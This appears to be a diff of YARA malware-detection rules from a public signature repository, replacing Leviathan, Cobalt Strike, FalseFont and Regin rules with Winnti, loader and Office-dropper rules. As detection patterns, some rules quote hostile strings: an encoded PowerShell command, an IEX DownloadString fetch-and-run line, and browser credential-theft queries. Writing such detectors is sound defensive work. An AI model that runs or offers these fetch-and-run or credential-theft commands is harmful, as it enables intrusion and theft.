+		description = "Detects Winnti malware"
+		author = "Unknown"
+		id = "2e001c91-0794-5940-ad8c-8e58a01e100c"
+		date = "2019-12-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_google_anomaly.yar#L3-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e333ac773927e2ed1f6aa4d6bbcb63d67bcc8d18d732a84bb68cb503469b247"
-		score = 60
+		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L203-L219"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d09f948c9bf685de64e8a6f1c95d95b806651866f3364d5d9b8b2351c1a68be3"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354"
+		tags = ""
 
 	strings:
-		$ac1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C
-               00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65
-               00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55
-               00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78
-               00 65 }
+		$b1 = { 0F B7 ?? 16 [0-1] (81 E? | 25) 00 20 [0-2] [8] 8B ?? 50 41 B9 40 00 00 00 41 B8 00 10 00 00 }
+		$b2 = { 8B 40 28 [5-8] 48 03 C8 48 8B C1 [5-8] 48 89 41 28 }
+		$b3 = { 48 6B ?? 28 [5-8] 8B ?? ?? 10 [5-8] 48 6B ?? 28 [5-8] 8B ?? ?? 14 }
+		$b4 = { 83 B? 90 00 00 00 00 0F 84 [9-12] 83 B? 94 00 00 00 00 0F 84 }
+		$b5 = { (45 | 4D) (31 | 33) C0 BA 01 00 00 00 [10-16] FF 5? 28 [0-1] (84 | 85) C0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and $ac1 and pe.number_of_signatures<1
+		(4 of ($b*))
 }
-rule SIGNATURE_BASE_Sedll_Javascript_Decryptor : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_4
 {
 	meta:
-		description = "Detects SeDll - DLL is used for decrypting and executing another JavaScript backdoor such as Orz"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8fafd139-0c4f-5c51-af8f-b4917d2d69b0"
-		date = "2017-10-18"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/MZ7dRg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_leviathan.yar#L11-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26ef61d8bb1764dddd951526902fb510fbacc8b808fe99ddee1956dc8b59bd1d"
+		description = "Detects Winnti malware"
+		author = "Unknown"
+		id = "1f7ac215-d049-5b97-9797-9589a70cbf2b"
+		date = "2019-12-06"
+		modified = "2023-12-05"
+		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L221-L235"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32909e915a6e602ad1e8698cf5c128c2e54670770b97f54b1414c5798c42cc00"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4"
+		tags = ""
 
 	strings:
-		$x1 = "SEDll_Win32.dll" fullword ascii
-		$x2 = "regsvr32 /s \"%s\" DR __CIM__" wide
-		$s1 = "WScriptW" fullword ascii
-		$s2 = "IWScript" fullword ascii
-		$s3 = "%s\\%s~%d" fullword wide
-		$s4 = "PutBlockToFileWW" fullword ascii
-		$s5 = "CheckUpAndDownWW" fullword ascii
+		$b1 = { 4C 8D 41 24 33 D2 B9 03 00 1F 00 FF 9? F8 00 00 00 48 85 C0 74 }
+		$b2 = { 4C 8B 4? 08 BA 01 00 00 00 49 8B C? FF D0 85 C0 [2-6] C7 4? 1C 01 00 00 00 B8 01 00 00 00 }
+		$b3 = { 8B 4B E4 8B 53 EC 41 B8 00 40 00 00 4? 0B C? FF 9? B8 00 00 00 EB }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and (1 of ($x*) or 4 of them )
+		(2 of ($b*))
 }
-rule SIGNATURE_BASE_Leviathan_Cobaltstrike_Sample_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_5
 {
 	meta:
-		description = "Detects Cobalt Strike sample from Leviathan report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e29072d8-b4ea-5e94-8a1c-0a1baec5f423"
-		date = "2017-10-18"
+		description = "Detects Winnti malware"
+		author = "Unknown"
+		id = "2a8f28e6-5a01-5a2f-b89b-9c34163afcda"
+		date = "2019-12-06"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/MZ7dRg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_leviathan.yar#L33-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ebc8c2f8ddba302e0fbde69e27986236053a3d31c50cf3a2f979a9ebb90907f"
+		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L237-L264"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "977d11fbb7cf4678d4da179c43d5566520ee97ac528e269a9b985e5bc75641b7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362"
+		tags = ""
 
 	strings:
-		$x1 = "a54c81.dll" fullword ascii
-		$x2 = "%d is an x64 process (can't inject x86 content)" fullword ascii
-		$x3 = "Failed to impersonate logged on user %d (%u)" fullword ascii
-		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
-		$s2 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
-		$s3 = "could not run command (w/ token) because of its length of %d bytes!" fullword ascii
-		$s4 = "could not write to process memory: %d" fullword ascii
-		$s5 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
-		$s6 = "Could not connect to pipe (%s): %d" fullword ascii
+		$a1 = "-k netsvcs" ascii
+		$a2 = "svchost.exe" ascii fullword
+		$a3 = "%SystemRoot%\\System32\\ntoskrnl.exe" ascii
+		$a4 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii
+		$a5 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii
+		$a6 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii
+		$a7 = "cmd.exe" wide
+		$a8 = ",XML" wide
+		$a9 = "\\rundll32.exe" wide
+		$a10 = "\\conhost.exe" wide
+		$a11 = "\\cmd.exe" wide
+		$a12 = "NtQueryInformationProcess" ascii
+		$a13 = "Detours!" ascii fullword
+		$a14 = "Loading modified build of detours library designed for MPC-HC player (http://sourceforge.net/projects/mpc-hc/)" ascii
+		$a15 = "CONOUT$" wide fullword
+		$a16 = { C6 0? E9 4? 8? 4? 05 [2] 89 4? 01 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 3 of them )
+		(12 of ($a*))
 }
-rule SIGNATURE_BASE_Mockdll_Gen : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_CN_Group_Loader_Jan20_1
 {
 	meta:
-		description = "Detects MockDll - regsvr DLL loader"
-		author = "Florian Roth (Nextron Systems)"
-		id = "904a0649-27e7-5024-aa6b-ddb23bba6202"
-		date = "2017-10-18"
+		description = "Detects loaders used by Chinese groups"
+		author = "Vitali Kremez"
+		id = "c85ae499-4f76-56ff-877d-887e1a7fc077"
+		date = "2020-02-01"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/MZ7dRg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_leviathan.yar#L57-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbe7b816199d251bfdc751f46bd95da6f0447ebd56f564619d24eb08bbd4a2c7"
-		score = 75
+		reference = "https://twitter.com/VK_Intel/status/1223411369367785472?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L266-L278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30a180ada2390ca8df4bf7883624a5a176249622b4c34ce96931fe62b09ea8e3"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bfc5c6817ff2cc4f3cd40f649e10cc9ae1e52139f35fdddbd32cb4d221368922"
-		hash2 = "80b931ab1798d7d8a8d63411861cee07e31bb9a68f595f579e11d3817cfc4aca"
+		tags = ""
 
 	strings:
-		$x1 = "mock_run_ini_Win32.dll" fullword ascii
-		$x2 = "mock_run_ini_x64.dll" fullword ascii
-		$s1 = "RealCmd=%s %s" fullword ascii
-		$s2 = "MockModule=%s" fullword ascii
+		$xc1 = { 8B C3 C1 E3 10 C1 E8 10 03 D8 6B DB 77 83 C3 13 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and (1 of ($x*) or 2 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Vbscript_Favicon_File : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Dropper_X64_Libtomcrypt_Fns : TAU CN APT
 {
 	meta:
-		description = "VBScript cloaked as Favicon file used in Leviathan incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "84147d4e-d062-5ba4-8019-6bf4b72c36c6"
-		date = "2017-10-18"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/MZ7dRg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_leviathan.yar#L77-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b89ea916adf6864c8b1cb7cd7ee6d74ea47bf17a0b03cc513046f8d260ae376"
+		description = "Designed to catch winnti 4.0 loader and hack tool x64"
+		author = "CarbonBlack Threat Research"
+		id = "080d837c-248f-5718-b4a2-290495cd3b38"
+		date = "2019-08-26"
+		modified = "2023-12-05"
+		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L280-L327"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39d23f2a12a3b78182e52847e2fdb2d09386765138c37eb7f75edfc680505531"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		hash1 = "39c952c7e14b6be5a9cb1be3f05eafa22e1115806e927f4e2dc85d609bc0eb36"
+		quality = 83
+		tags = "TAU, CN, APT"
+		rule_version = 1
+		yara_version = "3.8.1"
+		Confidence = "Prod"
+		Priority = "High"
+		TLP = "White"
+		exemplar_hashes = "5ebf39d614c22e750bb8dbfa3bcb600756dd3b36929755db9b577d2b653cd2d1"
+		sample_md5 = "794E127D627B3AF9015396810A35AF1C"
 
 	strings:
-		$x1 = "myxml = '<?xml version=\"\"1.0\"\" encoding=\"\"UTF-8\"\"?>';myxml = myxml +'<root>" ascii
-		$x2 = ".Run \"taskkill /im mshta.exe" ascii
-		$x3 = "<script language=\"VBScript\">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 :" ascii
-		$s1 = ".ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") &" ascii
-		$s2 = ".ExpandEnvironmentStrings(\"%temp%\") & " ascii
+		$0x140001820 = { 48 83 EC 28 83 3D ?? ?? ?? ?? 00 }
+		$0x140001831 = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
+		$0x140001842 = { B8 0B 00 E0 0C 48 83 C4 28 C3 }
+		$0x14000184c = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
+		$0x140001881 = { B8 0C 00 E0 0C 48 83 C4 28 C3 }
+		$0x14000188b = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
+		$0x1400018e4 = { B8 0D 00 E0 0C 48 83 C4 28 C3 }
+		$0x1400018ee = { 48 8D 0D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B8 A0 01 00 00 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 }
+		$0x140001911 = { 33 C0 48 83 C4 28 C3 }
+		$0x140001670 = { 40 55 56 57 41 55 41 56 41 57 B8 38 12 00 00 E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 10 12 00 00 48 8B AC 24 90 12 00 00 4C 8B B4 24 A0 12 00 00 45 33 FF 44 39 3D ?? ?? ?? ?? 49 8B F1 41 0F B7 F8 4C 8B EA 44 8B D9 66 44 89 7C 24 40 }
+		$0x1400016c8 = { B8 01 00 E0 0C }
+		$0x1400016d2 = { 48 89 9C 24 30 12 00 00 4D 85 C9 }
+		$0x1400016ec = { 8B 9C 24 98 12 00 00 83 FB 01 }
+		$0x1400016fc = { 48 8D 54 24 40 }
+		$0x140001701 = { 4C 89 A4 24 28 12 00 00 E8 ?? ?? ?? ?? 44 0F B7 64 24 40 66 44 3B E7 }
+		$0x140001727 = { 48 8D 54 24 40 41 8B CB E8 ?? ?? ?? ?? 0F B7 94 24 A8 12 00 00 66 39 54 24 40 }
+		$0x140001750 = { 41 8B CB E8 ?? ?? ?? ?? 8B F8 83 F8 FF }
+		$0x14000175f = { B8 0F 00 E0 0C }
+		$0x140001764 = { 4C 8B A4 24 28 12 00 00 }
+		$0x14000176c = { 48 8B 9C 24 30 12 00 00 }
+		$0x140001774 = { 48 8B 8C 24 10 12 00 00 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 38 12 00 00 41 5F 41 5E 41 5D 5F 5E 5D C3 }
+		$0x140001795 = { 48 8D 4C 24 54 33 D2 41 B8 B4 11 00 00 44 89 7C 24 50 E8 ?? ?? ?? ?? 48 8D 44 24 50 48 89 44 24 30 45 0F B7 CC 4D 8B C5 49 8B D6 8B CF 44 89 7C 24 28 44 89 7C 24 20 E8 ?? ?? ?? ?? 85 C0 }
+		$0x1400017d5 = { 4C 8D 4C 24 50 44 8B C3 48 8B D5 48 8B CE E8 ?? ?? ?? ?? 48 8D 4C 24 50 8B D8 E8 ?? ?? ?? ?? 8B C3 }
+		$0x1400017fb = { B8 04 00 E0 0C }
+		$0x140001805 = { B8 03 00 E0 0C }
+		$0x14000180f = { B8 02 00 E0 0C }
 
 	condition:
-		filesize <100KB and ( uint16(0)==0x733c and 1 of ($x*)) or (3 of them )
+		all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Falsefont_Backdoor_Jan24 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Dropper_X86_Libtomcrypt_Fns : TAU CN APT
 {
 	meta:
-		description = "Detects FalseFont backdoor, related to Peach Sandstorm APT"
-		author = "X__Junior, Jonathan Peters"
-		id = "b6a3efff-2abf-5ac1-9a2b-c7b30b51f92c"
-		date = "2024-01-11"
-		modified = "2024-04-24"
-		reference = "https://twitter.com/MsftSecIntel/status/1737895710169628824"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_peach_sandstorm.yar#L1-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
-		logic_hash = "9a1b3779b63dd7fa8ddc84067dec09542518e9acebbf5d3b45cb75ec4add1158"
-		score = 80
+		description = "Designed to catch winnti 4.0 loader and hack tool x86"
+		author = "CarbonBlack Threat Research"
+		id = "48e7a3b0-55c7-5db5-855f-1614bd00afb4"
+		date = "2019-08-26"
+		modified = "2023-12-05"
+		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L329-L370"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "84bfe001758677ff3a0d60d98e29c33ad1525a0afb27b73df750b2131e298879"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "TAU, CN, APT"
+		rule_version = 1
+		yara_version = "3.8.1"
+		confidence = "Prod"
+		oriority = "High"
+		TLP = "White"
+		exemplar_hashes = "0fdcbd59d6ad41dda9ae8bab8fad9d49b1357282027e333f6894c9a92d0333b3"
+		sample_md5 = "da3b64ec6468a4ec56f977afb89661b1"
 
 	strings:
-		$x1 = "Agent.Core.WPF.App" ascii
-		$x2 = "3EzuNZ0RN3h3oV7rzILktSHSaHk+5rtcWOr0mlA1CUA=" wide
-		$x3 = "viOIZ9cX59qDDjMHYsz1Yw==" wide
-		$sa1 = "StopSendScreen" wide
-		$sa2 = "Decryption failed :(" wide
-		$sb1 = "{0}     {1}     {2}     {3}" wide
-		$sb2 = "\\BraveSoftware\\Brave-Browser\\User Data\\" wide
-		$sb3 = "select * from logins" wide
-		$sb4 = "Loginvault.db" wide
-		$sb5 = "password_value" wide
+		$0x401d20 = { 8B 0D ?? ?? ?? ?? 33 C0 85 C9 }
+		$0x401d30 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 ?? }
+		$0x401d46 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 10 83 F8 ?? }
+		$0x401d76 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 1C 83 F8 ?? }
+		$0x401dc4 = { 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 33 C0 F3 A5 5F C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 5E C3 }
+		$0x401bd0 = { 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 56 57 85 C0 C7 45 FC ?? ?? ?? ?? }
+		$0x401bf4 = { 8B 45 14 85 C0 }
+		$0x401bff = { 8B 45 18 85 C0 }
+		$0x401c14 = { 8B 7D 08 8D 45 FC 50 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 08 66 }
+		$0x401c31 = { 8B 45 0C 85 C0 }
+		$0x401c3c = { 8D 4D FC 51 57 E8 ?? ?? ?? ?? 66 8B 55 FC 83 C4 08 66 3B 55 24 }
+		$0x401c57 = { 8B 5D 20 85 DB }
+		$0x401c62 = { 57 E8 ?? ?? ?? ?? 8B D0 83 C4 04 83 FA ?? }
+		$0x401c72 = { B9 ?? ?? ?? ?? 33 C0 8D BD 48 EE FF FF C7 85 44 EE FF FF ?? ?? ?? ?? F3 AB 8B 4D 0C 8D 85 44 EE FF FF 50 6A ?? 81 E6 FF FF 00 00 6A ?? 56 51 53 52 E8 ?? ?? ?? ?? 83 C4 1C 85 C0 }
+		$0x401caf = { 8B 45 1C 8B 4D 18 8D 95 44 EE FF FF 52 8B 55 14 50 51 52 E8 ?? ?? ?? ?? 8B F0 8D 85 44 EE FF FF 50 E8 ?? ?? ?? ?? 83 C4 14 8B C6 5F 5E 5B 8B E5 5D C3 }
+		$0x401ce1 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+		$0x401ced = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+		$0x401cf9 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+		$0x401d05 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+		$0x401d16 = { 5F 5E 5B 8B E5 5D C3 }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or all of ($sa*) or all of ($sb*) or (1 of ($sa*) and 4 of ($sb*)))
+		all of them
 }
-rule SIGNATURE_BASE_Regin_APT_Kerneldriver_Generic_A : FILE
+rule SIGNATURE_BASE_SUSP_Office_Dropper_Strings : FILE
 {
 	meta:
-		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
-		author = "@Malwrsignatures - included in APT Scanner THOR"
-		id = "4cea1d45-b797-51b2-baa7-e66c8c0206ea"
-		date = "2014-11-23"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L14-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1cc367dff184f2b458a2b7c0c88a44095714525ca6bb115d03e6331cf1f22116"
-		score = 75
+		description = "Detects Office droppers that include a notice to enable active content"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6560fdf7-46e8-5c16-8263-a36f1dec7868"
+		date = "2018-09-13"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a66a86eb99a3e7cd02e3444714c6c88b423cd0ea1e6210bf91da01cf804105f"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		hash1 = "187044596bc1328efa0ed636d8aa4a5c"
-		hash2 = "06665b96e293b23acc80451abb413e50"
-		hash3 = "d240f06e98c8d3e647cbf4d442d79475"
 
 	strings:
-		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
-		$m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
-		$s0 = "atapi.sys" fullword wide
-		$s1 = "disk.sys" fullword wide
-		$s3 = "h.data" fullword ascii
-		$s4 = "\\system32" ascii
-		$s5 = "\\SystemRoot" ascii
-		$s6 = "system" fullword ascii
-		$s7 = "temp" fullword ascii
-		$s8 = "windows" fullword ascii
-		$x1 = "LRich6" fullword ascii
-		$x2 = "KeServiceDescriptorTable" fullword ascii
+		$a1 = "_VBA_PROJECT" wide
+		$s1 = "click enable editing" fullword ascii
+		$s2 = "click enable content" fullword ascii
+		$s3 = "\"Enable Editing\"" fullword ascii
+		$s4 = "\"Enable Content\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and $m0 at 0 and $m1 and all of ($s*) and 1 of ($x*)
+		uint16(0)==0xcfd0 and filesize <500KB and $a1 and 1 of ($s*)
 }
-rule SIGNATURE_BASE_Regin_APT_Kerneldriver_Generic_B : FILE
+rule SIGNATURE_BASE_SUSP_Enablecontent_String_Gen : FILE
 {
 	meta:
-		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
-		author = "@Malwrsignatures - included in APT Scanner THOR"
-		id = "14f31b2d-4753-54e8-891a-e28689ba57db"
-		date = "2014-11-23"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L43-L94"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c2dee4f94f9eefb1c11f6e86144c6bfafc0845768200f5a839ffe3dd5d38294d"
-		score = 75
-		quality = 83
+		description = "Detects suspicious string that asks to enable active content in Office Doc"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d763bc21-2925-55df-85e0-1ee857e921ca"
+		date = "2019-02-12"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L19-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cde995ab0486fdafdc98e36c28a1f786ee7485387158f7337acd5f7dd0e3fed1"
+		score = 65
+		quality = 85
 		tags = "FILE"
-		hash1 = "ffb0b9b5b610191051a7bdf0806e1e47"
-		hash2 = "bfbe8c3ee78750c3a520480700e440f8"
-		hash3 = "b29ca4f22ae7b7b25f79c1d4a421139d"
-		hash4 = "06665b96e293b23acc80451abb413e50"
-		hash5 = "2c8b9d2885543d7ade3cae98225e263b"
-		hash6 = "4b6b86c7fec1c574706cecedf44abded"
-		hash7 = "187044596bc1328efa0ed636d8aa4a5c"
-		hash8 = "d240f06e98c8d3e647cbf4d442d79475"
-		hash9 = "6662c390b2bbbd291ec7987388fc75d7"
-		hash10 = "1c024e599ac055312a4ab75b3950040a"
-		hash11 = "ba7bb65634ce1e30c1e5415be3d1db1d"
-		hash12 = "b505d65721bb2453d5039a389113b566"
-		hash13 = "b269894f434657db2b15949641a67532"
+		hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
 
 	strings:
-		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
-		$s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
-		$s2 = "H.data" fullword ascii nocase
-		$s3 = "INIT" fullword ascii
-		$s4 = "ntoskrnl.exe" fullword ascii
-		$v1 = "\\system32" ascii
-		$v2 = "\\SystemRoot" ascii
-		$v3 = "KeServiceDescriptorTable" fullword ascii
-		$w1 = "\\system32" ascii
-		$w2 = "\\SystemRoot" ascii
-		$w3 = "LRich6" fullword ascii
-		$x1 = "_snprintf" ascii
-		$x2 = "_except_handler3" ascii
-		$y1 = "mbstowcs" fullword ascii
-		$y2 = "wcstombs" fullword ascii
-		$y3 = "KeGetCurrentIrql" fullword ascii
-		$z1 = "wcscpy" fullword ascii
-		$z2 = "ZwCreateFile" fullword ascii
-		$z3 = "ZwQueryInformationFile" fullword ascii
-		$z4 = "wcslen" fullword ascii
